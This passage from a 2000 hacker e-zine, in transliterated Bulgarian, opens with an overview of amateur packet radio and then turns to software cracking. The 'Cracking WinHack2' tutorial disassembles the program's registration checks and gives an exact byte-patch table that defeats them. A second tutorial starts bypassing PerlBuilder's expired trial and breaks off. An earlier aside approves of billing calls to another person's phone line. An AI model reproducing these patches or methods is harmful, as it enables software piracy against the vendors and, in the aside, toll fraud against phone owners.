izpolzvani dotogava (te se izpolzvat i sega za syztezaniq ili v egednevieto,
no sa otstypili mqsto na Packet-a). Sigurno se chudite kakvo e tova
Packet-a, tova e vsyshtnost imeto na komunikaciqta, osyshtestvqvana s TNC i
TX/RX (radiostanciq). Pylnoto mu nazvanie e Packet-Radio. Ideqta za tozi vid
komunikaciq dopada na mnogo HAM-ove, koito sa po natura hora experimentatori
i duhyt ot butilkata e veche na svoboda. Prez mart 1980 se dava
razreshenie na US HAM-ove da probvat ASCII komunikaciq po bezgichen kanal.
Zapochvat razrabotki i se osyshtestvqvat podobreni versii na TNC, a imenno
TNC2,3 i 4 (vsyshtnost te sa poveche firmware popravki otkolkoto shemni). V
US byrzo eizgradena mrega ot ednoto krajbregie do drugo, chrez koqto
radioliubitelite sa mogli (a i v momenta mogat) da osyshtesvqvat cifrova
komunikaciq na golemi razstoqniq.
2) Ustrojstva
TNC-to e obiknovenno edna kutiq, v koqto sa razpologeni platkite
realizirashti shemite. Ima i ROM s firmware, kojto e syrceto na TNC-to.
Ima i PAD (Packet Assembler-Disassembler). Kogato po seriiniqt interfejs na
kompiytura ili terminala (obiknovenno RS232) se izpratqt dannu, to PAD gi
kapsulira taka che te da mogat da bydat predadeni chrez diskretni signali
izpolzvajki radiovylni. Za tazi cel se izpolzvat kakto i v obiknovennite
modemi (modulator-demodulator) shemi za modulirane. I tuk raznoobrazieto na
modulacii e golqmo i zavisi glavno ot prilogenieto. TNC-to ili packet modema
v povecheto sluchai se vkliuchvat v gnezdoto kydeto na radiostanciqta se
svyrzva vynshen mikrofon (mike). Tozi nachin na svyrzvane mnogo prilicha na
onezi modemi, koito sa se polzvali predi mnogo godini po sveta, a i u nas
pri koito slushalkata na telefona se e postavqla vyrhu modema, kojto e imal
mikrofon i govoritelche (imashe navremeto edin film kydeto vidqh kak
izglegda tva chudo - razbira se potrebitelq beshe hacker - v dneshniqt losh
smisyl na dumata). Vruzkata e galvanichna. Dopulnitelno ima i izvod, kojto
kontrolira momentite na predavane/priemane - t.e. edin vid natiska kopcheto
za predavane, kogato predava, i go otpuska sled tova.
Taka opisana vryzkata izpolzva AFSK (Audio Frequency Shift Keying)
modulaciq. Tazi modulaciq se poluchava kato se izpolzvat dva osnovni tona s
tochno opredeleni chestoti (mislq che ediniqt e s chestota 2100Hz).
Maximalnata skorost e 2400bps. Tazi skorost za segashnite standarti e niska,
no radioliubitelite ne sa hishtni hieni za bandwith i download, te izpolzvat
packet-a v povecheto sluchai taka, kakto navremeto se izpolzvaha 2400
modemite (kogato bqha vyrhova tehnologiq) u nas - za vryzka s BBS-u i
chetene na poshta. Zapochvam da si mislq che BBS-te nqma da umrat prosto
shte se transformirat malko. Razbira se vyzmogni sa i po-visoki skorosti na
transfer, primerno 9600bps izpolzvajki FSK modulaciq. Obache s pokachvaneto
na skorostta vyznikvat dosta problemi. Eto nqkoj ot tqh:
1) Signalyt ot izhoda na mikrofona e usilen i sledovatelno deformiran
(poglednete napisanato ot LudPhreak v statiqta ot phm#21).
2) Obiknovennite radiostancii imat dosta golqmo vreme na latentnost, ili
na po-prost ezik: pri 2400kbps PushToTalk buttona ne e tolkova inerten
za da syzdava problemi, no pri 9600+ toj veche e. Stava taka che vremeto
za prehod OnAir->OffAir i obratno e golqmo.
Eto zashto pri 9600+ se nalaga dorabotka na radiostanciqta, koeto e po
silite na nqkoi, no ne na vsichki. Osobeno ne po silite na pishlemetata
deto imat klas D i kesqt na 144MHZ(2m) vse e edno che e IRC i kato pochnat
da drynkat gluposti kato v #bulgaria i zadrystvat po syshtiqt nachin efira.
Uspokoenie e che imat legalno pravo da predavat samo na 2m. A sega obratno
na temata: v posledno vreme povecheto proizvoditeli na radiostancii slagat
lepenki che tehnite modeli mogat da osystestvqvat komunikaciq na 9600 bez
aparatni promeni, no dokolkoto sym chel tova ne e dokraj istina i HAM-ovete
ne sa ostanali bez tozi problem(za dorabotkata na TX/RX-a).
Trqbva da spomena che Packetarstvo obiknovenno ima na UKV obhvata tuj
kato na nego se postiga neobhodimata chistota na signala. Obqsnenieto e:
obiknovenno industrialnite shumove, koito sa v efira sa amplitudni i te ne
vliqqt na signal predavan chrez chestotna modulaciq - FM (tuj kato tam
amplitudata moge da byde ogranichavana v receiver-a). Ne taka stoi vyprosa
pri komunikaciq s amplitudna modulaciq - AM, tuk idva problema sys
shumovete, koito se naslagvat i syzdavat problemi. Taka syshto i AM se
izpozlva obiknovenno dosta rqdko i samo za DX (dalechni vryzki) na chestoti
pod 28MHz, kato tova opredelq tipichnata skorost za DX packetarsvo ot 300bps
(pak dobre che ne e 75bps). BTW, spomnqm si che v edin ot starite broeve na
PHREEDOM imashe predlogenie da se NETstva na chugda telefona smetka s AM
predavatel ako ne iskash da te gepqt sys gicite pri kutiqta. Za smetka na
sigurnostta e kofti vryzkata. Pod UKV trqbva da razbirate razreshenite za
HAM-ove chestoti ot tozi obhvat : 144MHZ(2m), 444MHZ(70cm), 1.2GHZ 5GHZ,
10GHZ (moge da sym propusnal nqkoq chestota).
Trqbva da se otbelegi che kolkoto po-visoka e chestotata na predavane,
tolkova po-visoka skorost moge da se postigne. Da ne govorim che v obhvatite
nad 1GHz rahreshenata chestotna oblast se izmerva v stotici MHz dokato za 2m
tq e 2Mhz(kydeto se blyskat dosta vidove komunikaciq). Syshto taka s
povishavaneto na chestotata iziskvaniqta za moshtnost na predvatelq ne sa
golemi i dori moshtnostti 1W ili 0.5W zaedno s podhodqshti anteni davat
otlichni rezultati (imajte predvid che za DX trqbvat desetki i stotici W),
no vse pak za 10GHz anteniete sa nasocheni edna kym druga za namalqvane na
zagubite v sredata. Za primer bih dal Slovenskite HAM-ove S5xxx. Te oshte
prez 1995/96 zavyrshvat razrabotkata na ustrojstva, koito izpolzvani
syvmetno pozvolqvat skorosti ot 1.2Mbs. Radiostanciite sa WideBandFM - tqhna
razrabotka(tvyrdo se pravqt samo za packet). Osobenoto na tezi stancii e v
tova, che te sa lakomi za chestotna oblast, no tova ne im prechi da rabotqt
na blizki chestoti s obiknovenni RX/TX za glasova komunikaciq. Poslednite
prosto ne se otpushvat i ne im se vliqe. Imam svedeniq dori i za po-visoki
skorosti ot tazi - 10Mbs, a proekta mislq che beshe EthernetOnAir. Tam se
raboti na 10GHZ ili poveche, a tezi chestoti ne sa za podcenqvane ot
fiziologichna gledna tochka vypreki che nqkoj kazvat che e bezvredno poradi
malkata moshtnost. Microvylnovite furni rabotqt na okolo 2.6GHz i ne sa
bezopasni, no te sa sys golqma moshtnost.
Zabelegitelno ili ne trqbva da se kage che s buma na proizdotelnostta na
syvremennite kompiutru e dori vyzmogno da se pravi packet-vryzka i bez TNC
ili Packet-modem. Za celta trqbva da imate zvukova karta (koj li nqma vche
pokraj .mp3) i sravnitelno byrz kompityr (e ne kato za DVD)- minimuma e
486/66 i smqtam che povecheto dneshni mashini go pokrivat tozi minimum :).
DSP-to na kartata se grigi da pravi tova, koeto pravi PAD-a pri TNC-to.
Malyk problem e kontrola na PushToTalk buttona, kojto moge da se reshi po
nqkolko nachina, primerno chrez izpozlvane na paralelniqt port (ako e
svoboden) ili chrez port-a na MIDI/Joystick, kojto povecheto hora ne
polzvat, a i skoro i ot nego i smisyl nqma da ima - nali idva nedonoscheto
USB, vmesto IEEE1394 (FireWire). Mdaaa prosto iNtel ima povche pari i
vliqnie ot Apple. Kogato se izpolzva kompiutyr, a ne terminal, e vyzmogna
rabotata ne sys skypo TNC, a sys evtin Packet Modem. Posledniqt obache
iziskva specializiran software i driver-i dokato TNC-to e chisto seriino
ustrojstvo. Razlikata megdu dvete ustrojstva e kato megdu obiknoven modem i
software-en modem. Pri packet modema kapsulaciqta se pravi v kompiutyra(v
segashno vreme dostatycno byrzo, dori prekaleno) i sled tova gotovata za
izprashtane informaciq se podava na packet modema. TNC-to samo si kapsulira
dannite. Edin vid poglednato(to po-princip si e taka) packet modema e
systavna chast na TNC-to.
Obikovenno packet modemite sa G3RUH syvmestimi. G3RUH e napravil modem,
kym syvmestimost s kojto pochti vsichki se stremqt (pisha pochti vsichki
zashtoto Slovencite sa primer za takiva hora. Te izpolzvat modifikaciq na
Manchester modem ot 2400 za da vdignat do 78k4 - pone mislq che tolkova
beshe). Dori edin 9k6 modem napraven po shemata na G3RUH moge da se
"overclockne"(kakto e moderno sega da se kazva) i na po-visoki skorosti,
prosto trqbva da smenqt nqkoj elementi. Modifikaciqta e napravena ot samiq
G3RUH taka che nqma problemi. Maj se overclockvashe do 64kbp/s, ako ne e do
64 togava e do 56kbp/s.
Packet modemite ili naj-obshto bezgichnite modemi moga da sa ot golqma
polza tam kydeto kabel ne moge da se prekara, pyk satelita e dostopochtenno
skyp. Primer za tova sa spomenatite ot EXo v phm#21 Wireless modemi na firma
DSM- Rousse. Spored specifikaciqta dyrgat potok do 920kbp/s, pri prqka
vidimost na 60 kilometra bez povtoritel. Da ne kaga che spored dochutata ot
men cena ot $400 za 2 modema i router(izrichnoto iskam da kaga che taka sym
nauchil ot staff na phreedom), na web site-a nqma cenova lista. Spored men
dori i opredeleni gradski usloviq ne sa problem (no ne razbira se mnogo
sgradi). Rabotqt na 10GHz. Spored S5 tehnite modemi s 1W pokrivat 100km
prqka vidimost.
Trqbva da se znae che TNC moge da raboti v DIGIPEATERen regim, t.e.
navyrzani nqkolko BBS-a mogat da dadat vyzmognost bez prqka vryzka na HAM ot
Sofia da stigne do Varna, no trqbva razbira se da se otchitat syotvetnite
zakysneniq i po-golqmata vyzmognost za zaguba na packeti pri poveche
hop-ove. Edno TNC v digi regim moge da poddyrga nqkolko ednovremenni vryzki
kym negoviqt BBS i navyn. Edno PC moge da ima slogeni nqkolko modema ili
TNC-ta, kato se izpolzva karta za razshirenie PI ili podobrenata PI2, koqto
ima i analozi (v Sloveniq). PI2 kartata e neshto kato kartite, koito polzvat
povecheto bylgarski ISP-ta za da si nakachat modemite kym Dial-Up server-a
(digiBoard naprimer). Tq iziskva sobstveno DMA(za IRQ ne sym siguren).
Navremeto se e prodavala kato KIT, t.e. napravi si sam. Obache ot nqkolko
godini ne e vyzmogno chovek da si nabavi takyv KIT - toj prosto ne se
proizvegda. Za smetka na tova firma PacComm vyrti zdrava tyrgoviq s TNC-ta i
PI2 syvmestimi platki (qki pari dyrpat).
Radioliubitelqt LZ1DDD e chast ot grupa za razrabotka i e golqm
privyrgenik na FlexNet. Toj pravi v momenta PCI karta s packet modem,
pozvolqvasht skorosti do 76k8, i radiostanciq v edno, koeto e edno dosta
dobro reshenie. Takyv vid karta, no ISA prodava MiroSystems Varna (ne pravq
reklama na nikogo prosto davam primeri). Poslednata e s shto gode tvyrd
obhvat - mislq che polzva kvarcove, hmm to bez kvarcove nakyde. Cenata e
okolo $100. Nqma bezuprechen vynshen vid, no raboti. BTW ako nqkoj ima
problemi s praveneto na PIC programator moge da si kupite ot nego platka s
pisti na koqto da si nalepite vishcki elementi. Na web stranicata na LZ1DDD
(www.qsl.net/lz1ddd/) ima dadena shemata na malyk(s golemina, kolkoto 2
kibrita) packet modem.
3) Software
Kanalniqt protokol, vyrhu kojto raboti packet-a e AX.25. Tova e
vidoizmenen X.25, vyv vryzka s tova che informaciqta se predava chrez
radio vylni, no i ne samo zaradi tova. W nachaloto e bil izpolzvan za dostyp
do golemi mashini(IBM) ot terminali i po tozi nachin se e poluchavala
vyzmognost za rabota s centralizirana izchislitelna mosht. AX.25 ne e slab,
no razbira se znaete che TCP/IP e po izvesten i povsemestno izpolzvan.
HAM-ovete osven che sa "gelezari", pishat i programi, ta dori celi
OS-ove(programi) (malki) za nugdite na packet predavaneto - naprimer JNOS
(naj-populqren), TNOS. Pyrvo e bila napisana NET, posle se vidozmenq do NOS.
Poslednata ima mnogo modifikacii, dve ot koito spomenah.
S shirokoto navlizane na Linux i golqmata podkrepa, koqto ima tazi OS
dovede do tova, che tq napulno poddyrga AX.25 (kakto i mnogo drugi
protokoli za predavane na danni). Vsichko e prosto, kompilirate qdroto s
poddrygka na AX.25 i tova e v po-golqmata chast, ostanalata si q znaete -
nastrojki 'route' i drugi(za poveche informaciq AX_25.howto). Problemyt e
drug: rabotata s AX.25 e trudna i neproizvoditelna. Zatova pone zasega za
Windows, moge bi v bydeshte i za Linux ima realizaciq na TCP/IP stack nad
AX.25(t.e pak AX.25 stack) s koeto neshtata si idvat na mqstoto. S packet
modem i BBS s Internet vryzka veche moge da ne zavisish ot BTK pone za
pretochvane na malko kolichestvo poshta ili chat v nenatovareni IRC
kanali, a dori i ICQ. A i tozi TCP/IP stack e dosta stabilen. Po-stabilen ot
tozi na Windows-a. Naricha se FlexNet(www.flexnet.de) i e syzdaden ot
germanci. FlexNet e bil syzdaden zashtoto syshtesvuvashtite realizacii na
komunikaciq megdu AX.25 i prilogeniqta e hostmode-a na WA8DED, no posledniqt
e:baven, truden za izpolzvane ot programistite, ne e prozrachen (ne moge da
izpolzvate TCP/IP s nego). FlexNet e revolucionen produkt, a ne evolucionen.
Toj se installira taka kakto si slagate M$ TCP/IP protokol - ot Control
Panel. Za poveche informaciq vigte na web site-a. BTW na germanci
prinadlezhi "standart-a" za packet modemi (dokolkoto moge da ima standart)
ili po-tochno kazano po-chesto srestanata izrabotka.
Na praktika vseki moge da si sglobi i dori da si izmisli modem, samo
trqbva da ima dylboki poznaniq po shemotehnika (osobeno cifrova) i takiva
hora ima. Za pochti vsichki OS-i ima packet BBS-i. Dori edin packet BBS moge
da byde izpolzvan za izlaz kym Internet(tova ne e mnogo chudno). Povecheto
ot tqh sa dostypni ot Internet (chrez telnet naprimer). Prosto pri logvane
trqbva da izpolzvate inicial. Bylgarskite iniciali sa ot: vida LZxYYY,
kydeto x e cifra, a YYY bukvi. Razbira se ima i iniciali s 2 bukvi, te sa na
stari HAM-ove. Spored chetnostta/nechetnostta na X zavisi kyde givee HAM-a,
dali v Severna ili IUgna Bulgaria. Ako nikoga ne ste bili v daden BBS toj vi
dava vyzmoznost da si izberete parola, kato taka syzdavaneto na account-a
obshto vzeto svyrshva. Povecheto ot BBS-ite sa v domain-a ampr.org. Za
nugdite na ampr.org e predostaven Class A mrega ot IP adresi 44.XXX.YYY.ZZZ.
Na Bulgaria e otdelena Class B mrega (44.185/16). Iskam specialno da kaga
che amerikancite pak sa se uredili zashtoto tam vseki shtat e s Class B
mrega ili gradove imat sobstvena, za smetka na tova ima strani s Class C
mregi(stranite ot bivshiqt USSR).
4) Zakliuchenie
Kato zakliuchenie iskam da kaga che Wireless/Packet modemite sa hubavo
neshto, no edin problem ostava, che te sa dostatychno slogni za sredniq, a i
pod sredniq kompiturgiq, kojto lesno se nauchava kak da byzikne WinXXYY (dve
X i 2 Y hromozomi :) ), no nqma da moge da napravi modema. A pyk fabrichno
toj idva na dosta pochtenna cena. Nadqvam se che vi e bilo interesno. Ako
vyzniknat nqkakvi vyprosi, pitajte na msg.boarda i sigurno shte vi byde
otgovoreno.
zZzZzzzzZZZZZZZZ ..... v tishinata se chuva slabo BreadFan.
ADA
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Cracking WinHack2 By DaFixer
........... . . . . . . . . . . . . . .
Target:
WinHack2.exe (456 192 bytes, 16.05.1999 , 19:50:14)
http://www.malinverni.com/download/down.asp?program=WH200.zip
Tools:
shrunp.exe - Deshrinker by Andrew Shipinsky
http://156.17.4.138/~mwd/playtools/exe-ud.html
DeDe (c) by DaFixer
http://www.phreedom.org/ftparea/windows/DeDe/
RegMon
http://www.sysinternals.com/regmon.htm
FileMon
http://www.sysinternals.com/filemon.htm
W32DASM
Your favorite HEX editor (i.e. HEXWorkShop)
Znachi tova s vuprosnija WinHack 2.0 opredeleno me zaintreguva i reshih
da proverja za kakvo stava vupros. Sled kato svalih i installnah bebcheto,
purvata rabota beshe da proverja kak sa byte-chetata v exe-to :) Otvorih si
Winhack2.exe s HWS (HexWorkShop) i kakvo da vidja! Okaza che bebcheto e leko
cryptirano s shrinker. E neka da koregirame tazi rabota. Purvo razbirase
opitah da go dumpna s ProcDump, no to se opuna. Sled tova da go decriptiram
pak s ProcDump, no to pak se opuna. Nakraja mi pisna i prosto izpolzvah
dobrija star "shrunp". Toj ne pokaza uslozhnenija.
Sled novata proverka na byte-chetata, kakvo da vidja: Boolean .. False i
t.n. He he ljubimoto mi - Delphi programka. Tova samo poveche me nasturvi da
ja operiram i otstranja bugchetata i.
Nakraja go pusnah! Njamashe nag screen-ove. (mozhe bi tova vi otegchava,
no naistina za pruv put puskam tazi programka!). Ta otkrih az menuto
Register i go clicknah. Ta izkochi ShowMessage() kazvasht che moja serien
nomer bil #$%&-#$@$%@@. Dobre. Posle obache izkochi edno InputQuery()
pitashto za reg nomera. E slozhih neshto za reg nomer. Sled OK-a obache se
iznenadah. Pochti si misleh che bebcheto e izlugano kogato vmesto "This
#$%%$%^^ is invalid" puluchih message-a che trjabvalo da si restartna
WinHack-a. Hmmm .... neshtata maj njama da sa lesni.
E neka da proverim kak izglezhda bebcheto bez gashti :) Purvo go
dasm-nah s W32DASM a posle si pusnah i DeDe-to. Vmesto tova mozhe da
polzvate dakazhem exe2drp (ako ste go cracknali), no DeDe ima po-golemi
vuzmozhnosti. Ta sled kato si otvorih izgeneriranija ot DeDe Delphi work
space purvo mi napravi vpechatlenie che ednata ot formite ne ja vidjah v
programata. Tja beshe za registracija. Maj momchetata deto sa pravil
bebcheto sa si smenili protection shemata. Sled tova zabeljazah i drugi
interesni neshta kato naprimer TExeImage clasa. Hmm ... No tova za koeto si
otvorih project-a be da razbera RVA-to na onova menu. E to imalo handler s
ime MM_Help_RegisterClick i se pomeshtavalo na adres 0048991C. Osven tova si
zapisah i Form1.OnCreate adresa: 00481144. Neka da vidim za kakvo stava
vupros:
(tova e malko sled nachaloto na TForm1.OnCreate)
:0048116C A158D34800 mov eax, dword ptr [0048D358]
:00481171 E8B628F8FF call 00403A2C
:00481176 8B8670020000 mov eax, dword ptr [esi+00000270]
:0048117C E83342FFFF call 004753B4
:00481181 84C0 test al, al
:00481183 741F je 004811A4
* Possible StringData Ref from Code Obj ->"Created By: YourName Here"
|
:00481185 BAE8134800 mov edx, 004813E8
:0048118A 8B8640050000 mov eax, dword ptr [esi+00000540]
:00481190 E89FD7F9FF call 0041E934
:00481195 B201 mov dl, 01
:00481197 8B8640050000 mov eax, dword ptr [esi+00000540]
:0048119D E8FAD6F9FF call 0041E89C
:004811A2 EB1D jmp 004811C1
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00481183(C)
|
* Possible StringData Ref from Code Obj
->"Created By: Unregistered version "
->"of WinHack v2.00"
|
:004811A4 BA0C144800 mov edx, 0048140C
Chudja se kakvo li pravi tazi procedurka na 004753B4. Imajki predvid
String Reference-ite maj originalnoto i ime e neshto ot sorta na:
function IsThisABadGuy()
a kato ja poglednah! uzhas! 15 reference-a:
* Referenced by a CALL at Addresses:
|:0048117C , :00484458 , :0048733A , :0048751E , :00487875
|:00487B6C , :00487F3C , :004880BC , :0048969E , :004899BF
|:004899F2 , :00489B5C , :00489BA1 , :00489E3F , :00489E67
|
:004753B4 55 push ebp
Kato se scrollnah nadolu se okaza che tova zhivotno e baja golemichko. E
naj-nakraja mu stignah do kraja:
:0047574F 8BC3 mov eax, ebx
:00475751 5F pop edi
:00475752 5E pop esi
:00475753 5B pop ebx
:00475754 8BE5 mov esp, ebp
:00475756 5D pop ebp
:00475757 C3 ret
:0047574F 8BC3 mov eax, ebx
E, zashto trjabva da ostavjame na 0047574F v eax da se puhat razni
neznajni stojnosti, kato ebx naprimer, kato mozhe da puhnem edna da rechem
-1-ka, kato otgovorim tvurdo na IsThisABadGuy? s False :)
E neka zamenim: B8C3 mov eax, ebx
S tova: B0FF mov al, FF
Sega da vidim bebcheto. Kato go pusnem se zabeljazva che veche register
menu-to go njama. Sushto taka se zabeljazva che bebcheto izchezva v
nebitieto sled okolo 3 sec. Maj neshto ne mu dopada da mu smenjame
byte-chetata :)) E maj e vreme da poshpionstvame veche ... Ta neka si pusnem
shpionskite rogramki: RegMon i FileMon na NT Internals. Tova koeto se
zabeljazva v REG povedenieto mu e che tursi njakakvi si :
HKLM\Software\Microsoft\ActiveObject\{486E6957-766B6361-20303032}\
{74793433-33746833-33326834-39386E76-2020742D} NOTFOUND
HKLM\Software\Microsoft\ActiveObject\{486E6957-766B6361-20303032}\
{57505934-54383445-792D796E-79353477} NOTFOUND
A v FILE povedenieto mu se zabeljazvat oshte po-stranni neshta: Minat se
neminat 4 sec i se pishe na C:\ njakakuv si m.dmp. e dobre, tova mozhe da e
svurzano sus specifikite na samata programa v krajna smetka. Interesnoto e
che versijata sus smenenite bytecheta izdurzha samo do purvoto pisane v
m.dmp i pri tova sama si napravi dump tam :) no mako razburkano go pravi.
Sled proverka na string reference- ite kum m.dmp se okaza che edinstvenata
procedura v kojato m.dmp e reference-nato 2 puti ima adres 004743AC i se
vika ot slednite 2 mesta:
* Referenced by a CALL at Addresses:
|:00472DD2 , :00473B9C
|
:004743AC 55 push ebp
Purvoto ot tjah e :
:00472D9C 53 push ebx
:00472D9D 56 push esi
:00472D9E BE087A4D00 mov esi, 004D7A08
:00472DA3 C605FC794D0000 mov byte ptr [004D79FC], 00
:00472DAA C605047A4D0001 mov byte ptr [004D7A04], 01
:00472DB1 EB40 jmp 00472DF3
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472DFA(C)
|
:00472DB3 C605187A4D0001 mov byte ptr [004D7A18], 01
:00472DBA 830601 add dword ptr [esi], 00000001
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472D52(C)
|
:00472DBD 7105 jno 00472DC4
:00472DBF E86000F9FF call 00402E24
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472DBD(C)
|
:00472DC4 833E09 cmp dword ptr [esi], 00000009
:00472DC7 7C20 jl 00472DE9
:00472DC9 33C0 xor eax, eax
:00472DCB 8906 mov dword ptr [esi], eax
:00472DCD BBDCCC4800 mov ebx, 0048CCDC
:00472DD2 E8D5150000 call 004743AC
:00472DD7 3B03 cmp eax, dword ptr [ebx]
:00472DD9 740E je 00472DE9
:00472DDB C605FC794D0001 mov byte ptr [004D79FC], 01
:00472DE2 C605057A4D0001 mov byte ptr [004D7A05], 01
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00472DC7(C), :00472DD9(C)
|
:00472DE9 68F4010000 push 000001F4
* Reference To: kernel32.Sleep, Ord:0000h
|
:00472DEE E84D2EF9FF Call 00405C40
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472DB1(U)
|
:00472DF3 803D057A4D0000 cmp byte ptr [004D7A05], 00
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472D93(C)
|
:00472DFA 74B7 je 00472DB3
:00472DFC C605047A4D0000 mov byte ptr [004D7A04], 00
:00472E03 803DFC794D0000 cmp byte ptr [004D79FC], 00
:00472E0A 7407 je 00472E13
:00472E0C 33C0 xor eax, eax
:00472E0E E8850BF9FF call 00403998
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472E0A(C)
|
:00472E13 33DB xor ebx, ebx
:00472E15 A1F8794D00 mov eax, dword ptr [004D79F8]
:00472E1A 50 push eax
* Reference To: kernel32.CloseHandle, Ord:0000h
|
:00472E1B E8202CF9FF Call 00405A40
:00472E20 8BC3 mov eax, ebx
:00472E22 5E pop esi
:00472E23 5B pop ebx
:00472E24 C3 ret
A vtoroto e :
:00473B70 53 push ebx
:00473B71 80782A01 cmp byte ptr [eax+2A], 01
:00473B75 754F jne 00473BC6
:00473B77 803D187A4D0000 cmp byte ptr [004D7A18], 00
:00473B7E 7546 jne 00473BC6
:00473B80 83051C7A4D0001 add dword ptr [004D7A1C], 00000001
:00473B87 7105 jno 00473B8E
:00473B89 E896F2F8FF call 00402E24
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00473B87(C)
|
:00473B8E 833D1C7A4D0014 cmp dword ptr [004D7A1C], 00000014
:00473B95 7E36 jle 00473BCD
:00473B97 BBDCCC4800 mov ebx, 0048CCDC
:00473B9C E80B080000 call 004743AC
:00473BA1 3B03 cmp eax, dword ptr [ebx]
:00473BA3 7428 je 00473BCD
:00473BA5 C605FC794D0001 mov byte ptr [004D79FC], 01
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00473B38(C)
|
:00473BAC C605057A4D0001 mov byte ptr [004D7A05], 01
:00473BB3 68F4010000 push 000001F4
* Reference To: kernel32.Sleep, Ord:0000h
|
:00473BB8 E88320F9FF Call 00405C40
:00473BBD 33C0 xor eax, eax
:00473BBF E8D4FDF8FF call 00403998
:00473BC4 EB07 jmp 00473BCD
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00473B75(C), :00473B7E(C)
|
:00473BC6 33C0 xor eax, eax
:00473BC8 A31C7A4D00 mov dword ptr [004D7A1C], eax
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00473B95(C), :00473BA3(C), :00473BC4(U)
|
:00473BCD C605187A4D0000 mov byte ptr [004D7A18], 00
:00473BD4 5B pop ebx
:00473BD5 C3 ret
List-nah tozi code celija ponezhe tuk naistina se krie krasotata na
velikolepnata protection shema na WinHack 2.0 Tova razbrah sled dosta
vreme opiti za debug sus SoftIce. Tazi shema se opira na promjanata na
njakolko adresa: 004D7A04, 004D7A05, 004D7A18, 004D7A1C, 004D79FC ot dve
mesta. I ako njakoj ot adresite ne e setnat kakto trjabva to programata
izliza. Sushto taka mislja che v originala tezi adresi sa skriti ot onzi
TExeImage (tova e predpolozhenie). Fakt e che DeDe ne mi listna koda na dva
unit-a, a trjabvashe. Kato proverih se okaza che v exe-to RVA adresite ne sa
v CODE section-a. No ponezhe znam kak izglezhdat class memberite v Delphi
lesno se orientirah kude zapochvat i zavurshvat dvete procedurki deto se
zanimavat s tozi m.dmp Edva li moga napulno da opisha cjalostnata shema na
zashtitata na tova bebche, no neshto me kara da smjatam che tja e bila
zamislena velikolepno. Krasotata na pisaneto v tezi adresi i cheteneto.
Interesno e che WinHack ne se protivi pri debugvane sus SoftIce, no kogato
se doblizhite do osnovata na reg-code smetkite to bebcheto se halt-va.
Mnogo se chudih za kakvo tochno stava vupros. Bebcheto suchto haltva pri
vseki opit da mu se pishe v pametta - tova razbrah kato se opitah da
napravja memory patch na shrink-natija original.
Sushto taka interesno e che tova bebche se patch-va mnogo lesno. Trjaba
da se zamenjat samo 4 byte-a:
RVA Phys From To
0047574F 00074B4F B8C3 B0FF
00472D9C 0007219C 53 C3
00473B70 00072F70 53 C3
Tuk pod fizicheski adres se ima predvid fizicheskija adres na deshrink-
natija fail (1 038 336 bytes)
E tova e pichove za WinHack 2.0, za tolkova chasa (veche okolo 6) -
tolkova. Sled gornija patch na exe-to mozhe na volja da si debugvate sus
SoftIce i da se naslzhdavete na protection shemata na tova bebche. Interesno
mi e kakuv li e bil originalnija kod na Delphi. Ustanovih che vuv Form1 ima
3 Timer-a. Mozhe bi neshto ot sorta na dvata timera se setvat enabled edin
drug kato nepozvoljavat da vuznikne OnTimer na tretija , setvajki i nego
enabled. A ako tova stane s tretija toj prosto halt-va programata. Tova
razbira se otnovo sa predpolozhenija, no asm coda na tezi timeri e blizuk to
tazi teza.
E veche tova naistina e kraja.
Let the code be with you!
(Bel. Solar: Etimologiqta na tazi fraza e interesna. Tq wodi nachaloto si ot
filma StarWars, kato originalnata i forma e "Let the force be with you!".
Sledowatelno po-prawilno e da se kave "Let the source be with you!", wupreki
che w crackerskite sredi izpozlwaneto na source e rqdkost)
DaFixer
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Cracking PerlBuilder 1.0 By mr-drone
........... . . . . . . . . . . . . . .
Hmm, ne znam kak da zapochna ... moze bi s tova che za men cracking e
dosta shiroko poniatie, no v osnovata si e zaobikaliane na niakakvi nalozeni
ot avtorite ogranichenia - po-malko vreme, po-malko funkcii, po-malko
udobstva. V krajna smetka e vazen krajnia rezultat - pylnocenno polzvane
na crackvanata programa. A po kakyv nachin stava tova - vseki si ima izbor v
metodite :) A kolkoto chovek e na po-prav pyt, tolkova po-malko tochki ima
vyv izrechenieto "I togava debug-vah, debug-vah ..." :) Taka che ne smiatam
che tozi primer e niakakyv etalon, naprotiv , nito pyk neshto revoliucionno
i neshta ot tozi sort - tova e edno myrzelivo reshenie na problema :)
Predpolagam che shte ima dosta hora, koito shte mi se hiliat(osobenno
po-naprednalite v tova izkustvo ;) , no moite propuski mogat da vi podsetiat
se neshto (dano da e taka :) Takaa, maj se oliah s predgovora ...
Zertvata: Perl Builder 1.0d za Win (14-dni evaluation,
www.solutionsoft.com)
Namiram go az edin den PerlBuilder-a i s radost razbiram che shte mi
potriabva. Kakva e iznenadata obache - javno sym go installval predi vreme,
zashtoto se pojaviava edin prozorec i pishe "Trial Expired". Plus tova si
ima i butonche "Quit", "Information" i "Try", koeto obache e sivichko
(disabled).
"Hmm, shte vidim taja rabota" - mislia si az, gledajki log-a na
RegMon-a. Kazano nakratko ne mozah da go hvana dali vyobshte chete ot
registri-to che sa minali kratkite 14 dni. Togava mi hrumna drugo,
po-myrzelivo reshenie na problema. Prosto triabva da se natisne butona "Try"
!!! Izrovih iz disk-a si edna moja programka - 'Enabler' (predpolagam che na
vashia disk ja niama, taka che mozete da si ja drypnete ot
http://mr-drone.hypermart.net, niakyde v 'Own code' ;) i si ja pusnah. Kato
se zadyrzi desnia buton na mishkata vyrhu prozoreca na Enabler-a, toj se
skriva i kursora stava na mishena. Togava chovek moze spokojno da si obhozda
windowskite kontroli (comboboxes, edits, labels, BUTTONS, windows ) i da gi
select-va. Az estestveno si izbrah butona "Try" i pusnah rbutton-a na
mishoka. Enabler-a se pojavi pak, davajki mi slednata informacia za class-a,
